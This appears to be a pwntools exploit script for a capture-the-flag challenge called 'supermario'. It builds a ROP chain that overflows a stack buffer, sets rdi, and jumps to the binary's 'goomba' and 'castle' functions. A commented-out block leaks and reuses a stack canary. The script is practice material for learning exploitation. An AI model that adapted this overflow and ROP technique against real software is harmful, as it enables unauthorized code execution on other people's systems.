#!/usr/bin/env python3

#from cle import ELF
from pwn import *

exe = ELF("./supermario")

#context.terminal = ['tmux', 'splitw', '-h']
#context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
    elif args.GDB:
        r = gdb.debug([exe.path], '''

        ''')
    else:
        r = remote("supermario.chall.srdnlen.it", 443, ssl=True)

    return r


def main():
    r = conn()
    rop=ROP(exe)
    #trovato con ropper
    #ropper -f supermario --search "pop rdi"
    #0x00000000004011d3: pop rdi; ret;

    pop_rdi = 0x4011d3
    #0xDEADBEEFDEADBEEF
    r.recvuntil(b"> ")
    payload = b"A"*40 + p64(rop.ret.address) + p64(pop_rdi) + p64(0xDEADBEEFDEADBEEF) + p64(exe.symbols['goomba']) +p64(rop.ret.address)+ p64(exe.symbols['castle'])
    r.sendline(payload)


    r.interactive()


main()


"""    r.recvuntil(b"Latitude: ")
    r.send(b"*"*(528-8 + 1))
    canarino = r.recvline()
    canarino = chr(0).encode() + canarino[-9:-2]
    r.recvuntil(b"Longitude: ")
    r.sendline(b"*"*(272-8) + p64(int.from_bytes(canarino, 'little')) + p64(0x40138B))"""